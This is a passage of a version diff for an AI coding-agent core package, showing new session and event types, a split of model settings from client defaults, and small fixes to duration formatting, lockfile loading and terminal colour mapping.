parentSessionId?: string | null;
|
|
109
|
+
/**
|
|
110
|
+
* Which host/context created this session. Desktop disk-rebuild shows only
|
|
111
|
+
* `desktop` + `automation`. Absent on legacy sessions.
|
|
112
|
+
*/
|
|
113
|
+
origin?: SessionOrigin;
|
|
86
114
|
status: SessionStatus;
|
|
87
115
|
/** Short summary derived from the first user message */
|
|
88
116
|
summary?: string;
|
|
@@ -159,7 +187,7 @@ export interface TurnResult {
|
|
|
159
187
|
status: "completed" | "tool_use" | "error" | "max_turns" | "aborted";
|
|
160
188
|
error?: string;
|
|
161
189
|
}
|
|
162
|
-
export type TerminalReason = "completed" | "stop_hook_prevented" | "hook_stopped" | "prompt_too_long" | "model_error" | "aborted_streaming" | "aborted_tools" | "max_turns" | "image_error";
|
|
190
|
+
export type TerminalReason = "completed" | "stop_hook_prevented" | "hook_stopped" | "prompt_too_long" | "model_error" | "aborted_streaming" | "aborted_tools" | "max_turns" | "goal_budget_exhausted" | "image_error";
|
|
163
191
|
export interface TaskInfo {
|
|
164
192
|
id: string;
|
|
165
193
|
subject: string;
|
|
@@ -170,6 +198,10 @@ export type StreamEvent = {
|
|
|
170
198
|
type: "session_started";
|
|
171
199
|
sessionId: string;
|
|
172
200
|
promptTokens: number;
|
|
201
|
+
} | {
|
|
202
|
+
type: "session_title";
|
|
203
|
+
sessionId: string;
|
|
204
|
+
title: string;
|
|
173
205
|
} | {
|
|
174
206
|
type: "stream_request_start";
|
|
175
207
|
turnNumber: number;
|
|
@@ -200,6 +232,12 @@ export type StreamEvent = {
|
|
|
200
232
|
type: "turn_complete";
|
|
201
233
|
reason: TerminalReason;
|
|
202
234
|
agentId?: string;
|
|
235
|
+
} | {
|
|
236
|
+
type: "goal_progress";
|
|
237
|
+
status: "not_met" | "met" | "exhausted";
|
|
238
|
+
round: number;
|
|
239
|
+
gaps?: string;
|
|
240
|
+
agentId?: string;
|
|
203
241
|
} | {
|
|
204
242
|
type: "error";
|
|
205
243
|
error: string;
|
|
@@ -210,6 +248,7 @@ export type StreamEvent = {
|
|
|
210
248
|
} | {
|
|
211
249
|
type: "task_update";
|
|
212
250
|
tasks: TaskInfo[];
|
|
251
|
+
agentId?: string;
|
|
213
252
|
} | {
|
|
214
253
|
type: "thinking_delta";
|
|
215
254
|
text: string;
|
|
@@ -219,6 +258,7 @@ export type StreamEvent = {
|
|
|
219
258
|
agentId: string;
|
|
220
259
|
name?: string;
|
|
221
260
|
description: string;
|
|
261
|
+
agentType?: string;
|
|
222
262
|
} | {
|
|
223
263
|
type: "agent_end";
|
|
224
264
|
agentId: string;
|
|
@@ -226,6 +266,7 @@ export type StreamEvent = {
|
|
|
226
266
|
description: string;
|
|
227
267
|
text?: string;
|
|
228
268
|
error?: string;
|
|
269
|
+
agentType?: string;
|
|
229
270
|
} | {
|
|
230
271
|
type: "tool_summary";
|
|
231
272
|
summary: string;
|
|
@@ -261,22 +302,27 @@ export type BackgroundAgentCompletedEvent = Extract<StreamEvent, {
|
|
|
261
302
|
type: "background_agent_completed";
|
|
262
303
|
}>;
|
|
263
304
|
export type StreamCallback = (event: StreamEvent) => void | Promise<void>;
|
|
305
|
+
/**
|
|
306
|
+
* LLMConfig — model identity only. Everything in this object describes
|
|
307
|
+
* "which model and how to reach it", nothing about user preferences or
|
|
308
|
+
* client wiring. Hot-switching models replaces this object wholesale.
|
|
309
|
+
*
|
|
310
|
+
* For cross-model preferences (temperature, timeouts, image detail) see
|
|
311
|
+
* ClientDefaults — those live on the Engine and feed every LLMClient
|
|
312
|
+
* independently of model identity.
|
|
313
|
+
*/
|
|
264
314
|
export interface LLMConfig {
|
|
265
315
|
provider: string;
|
|
266
316
|
model: string;
|
|
267
317
|
apiKey?: string;
|
|
268
318
|
baseUrl?: string;
|
|
269
|
-
temperature?: number;
|
|
270
|
-
topP?: number;
|
|
271
319
|
maxTokens?: number;
|
|
272
|
-
timeout?: number;
|
|
273
|
-
retryMaxAttempts?: number;
|
|
274
|
-
enableStreaming?: boolean;
|
|
275
320
|
/**
|
|
276
|
-
* Default thinking
|
|
277
|
-
* (e.g. summarize sub-calls) overrides this.
|
|
321
|
+
* Default reasoning/thinking setting for this model. Per-call
|
|
322
|
+
* `options.reasoning` (e.g. summarize sub-calls) overrides this.
|
|
323
|
+
* Translated to the per-vendor wire form by the client's capability layer.
|
|
278
324
|
*/
|
|
279
|
-
|
|
325
|
+
reasoning?: import("./llm/reasoning-setting.js").ReasoningSetting;
|
|
280
326
|
/**
|
|
281
327
|
* The provider's `kind` (deepseek/openai/zai/openrouter/...). Used by
|
|
282
328
|
* the capability layer to look up per-(kind, model) request-shape rules
|
|
@@ -286,6 +332,27 @@ export interface LLMConfig {
|
|
|
286
332
|
*/
|
|
287
333
|
providerKind?: string;
|
|
288
334
|
}
|
|
335
|
+
/**
|
|
336
|
+
* ClientDefaults — runtime knobs that apply regardless of which model is
|
|
337
|
+
* active. Settings/UI source these once at boot (or when settings change);
|
|
338
|
+
* model hot-switching never alters them.
|
|
339
|
+
*
|
|
340
|
+
* Anything model-specific belongs in LLMConfig instead.
|
|
341
|
+
*/
|
|
342
|
+
export interface ClientDefaults {
|
|
343
|
+
/** Sampling temperature. Default 0.3. Per-call options.temperature overrides. */
|
|
344
|
+
temperature?: number;
|
|
345
|
+
/** HTTP timeout in ms for LLM requests. Default 120_000. */
|
|
346
|
+
timeout?: number;
|
|
347
|
+
/** Max retry attempts for transient errors. Default 3. */
|
|
348
|
+
retryMaxAttempts?: number;
|
|
349
|
+
/**
|
|
350
|
+
* OpenAI-style detail hint sent on every image_url part. Anthropic
|
|
351
|
+
* ignores this. Defaults to "high" (OpenAI's own default) when
|
|
352
|
+
* unset; "low" is 85-tokens-per-image fixed.
|
|
353
|
+
*/
|
|
354
|
+
imageDetail?: "low" | "high" | "original";
|
|
355
|
+
}
|
|
289
356
|
export interface LLMResponse {
|
|
290
357
|
text: string;
|
|
291
358
|
toolCalls: ToolCall[];
|
|
@@ -310,6 +377,14 @@ export interface MCPServerConfig {
|
|
|
310
377
|
url?: string;
|
|
311
378
|
transport?: MCPTransport;
|
|
312
379
|
headers?: Record<string, string>;
|
|
380
|
+
/**
|
|
381
|
+
* Toggle a server off without deleting its config (mirrors Codex's
|
|
382
|
+
* `enabled` field). Absent or `true` → connected; only the literal
|
|
383
|
+
* `false` disables it. Filtered in MCPManager.connectAll so the
|
|
384
|
+
* connection is never attempted; the entry stays in settings so the
|
|
385
|
+
* UI toggle can flip it back on. See connectAll().
|
|
386
|
+
*/
|
|
387
|
+
enabled?: boolean;
|
|
313
388
|
}
|
|
314
389
|
/**
|
|
315
390
|
* Shell-hook configuration entry from settings.json. Each entry binds
|
package/dist/utils/format.js
CHANGED
|
@@ -33,8 +33,10 @@ export function formatDuration(ms, options) {
|
|
|
33
33
|
if (ms === 0) {
|
|
34
34
|
return '0s';
|
|
35
35
|
}
|
|
36
|
-
// For durations < 1s, show 1 decimal place (e.g., 0.5s)
|
|
37
|
-
|
|
36
|
+
// For durations < 1s, show 1 decimal place (e.g., 0.5s). This must cover
|
|
37
|
+
// the whole (0, 1000)ms range — the old `< 1` guard let [1, 1000)ms fall
|
|
38
|
+
// through to Math.floor(ms/1000) = 0 → a wrong "0s".
|
|
39
|
+
if (ms < 1000) {
|
|
38
40
|
const s = (ms / 1000).toFixed(1);
|
|
39
41
|
return `${s}s`;
|
|
40
42
|
}
|
package/dist/utils/lockfile.js
CHANGED
|
@@ -8,11 +8,18 @@
|
|
|
8
8
|
* Import this module instead of `proper-lockfile` directly. The underlying
|
|
9
9
|
* package is only loaded the first time a lock function is actually called.
|
|
10
10
|
*/
|
|
11
|
+
import { createRequire } from 'node:module';
|
|
12
|
+
// proper-lockfile is CommonJS. This module compiles to ESM (tsc module: ESNext,
|
|
13
|
+
// package "type":"module"), and `require` is NOT a global in ESM — under the
|
|
14
|
+
// Electron main process (an ESM bundle that loads core as an external ESM dep)
|
|
15
|
+
// a bare `require('proper-lockfile')` throws "require is not defined", which
|
|
16
|
+
// surfaced as run locks silently failing ("Run now does nothing"). createRequire
|
|
17
|
+
// gives us a CJS-capable require that works in both ESM and CJS/Bun hosts.
|
|
18
|
+
const nodeRequire = createRequire(import.meta.url);
|
|
11
19
|
let _lockfile;
|
|
12
20
|
function getLockfile() {
|
|
13
21
|
if (!_lockfile) {
|
|
14
|
-
|
|
15
|
-
_lockfile = require('proper-lockfile');
|
|
22
|
+
_lockfile = nodeRequire('proper-lockfile');
|
|
16
23
|
}
|
|
17
24
|
return _lockfile;
|
|
18
25
|
}
|
package/dist/utils/theme.d.ts
CHANGED
|
@@ -91,3 +91,9 @@ export declare function getTheme(themeName: ThemeName): Theme;
|
|
|
91
91
|
* on that terminal we downgrade to the nearest xterm-256 color index instead.
|
|
92
92
|
*/
|
|
93
93
|
export declare function themeColorToAnsi(themeColor: string): string;
|
|
94
|
+
/**
|
|
95
|
+
* Nearest xterm-256 color index for an RGB triple.
|
|
96
|
+
* Uses the 6×6×6 color cube (indices 16-231) plus the 24-step grayscale ramp
|
|
97
|
+
* (indices 232-255).
|
|
98
|
+
*/
|
|
99
|
+
export declare function rgbToXterm256(r: number, g: number, b: number): number;
|
package/dist/utils/theme.js
CHANGED
|
@@ -527,14 +527,16 @@ export function themeColorToAnsi(themeColor) {
|
|
|
527
527
|
* Uses the 6×6×6 color cube (indices 16-231) plus the 24-step grayscale ramp
|
|
528
528
|
* (indices 232-255).
|
|
529
529
|
*/
|
|
530
|
-
function rgbToXterm256(r, g, b) {
|
|
530
|
+
export function rgbToXterm256(r, g, b) {
|
|
531
531
|
// Grayscale ramp: pick it when all channels are equal-ish
|
|
532
532
|
if (Math.abs(r - g) < 8 && Math.abs(g - b) < 8) {
|
|
533
533
|
if (r < 8)
|
|
534
534
|
return 16;
|
|
535
535
|
if (r > 248)
|
|
536
536
|
return 231;
|
|
537
|
-
|
|
537
|
+
// 24 ramp steps (idx 232-255) span RGB [8,248] = 240 units → /240*23.
|
|
538
|
+
// The old /247*24 produced off-by-one indices.
|
|
539
|
+
return Math.round((r - 8) / 240 * 23) + 232;
|
|
538
540
|
}
|
|
539
541
|
// 6×6×6 cube
|
|
540
542
|
const ri = Math.round(r / 255 * 5);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@cjhyy/code-shell-core",
|
|
3
|
-
"version": "0.5.0-rc.
|
|
3
|
+
"version": "0.5.0-rc.2",
|
|
4
4
|
"description": "Core engine for code-shell — agent orchestration, tool execution, hooks, protocol. UI-agnostic.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "./dist/index.js",
|
|
@@ -34,6 +34,7 @@
|
|
|
34
34
|
"openai": "^4.82.0",
|
|
35
35
|
"proper-lockfile": "^4.1.2",
|
|
36
36
|
"semver": "^7.7.4",
|
|
37
|
+
"smol-toml": "^1.6.1",
|
|
37
38
|
"strip-ansi": "^7.2.0",
|
|
38
39
|
"yaml": "^2.7.0",
|
|
39
40
|
"zod": "^3.24.2"
|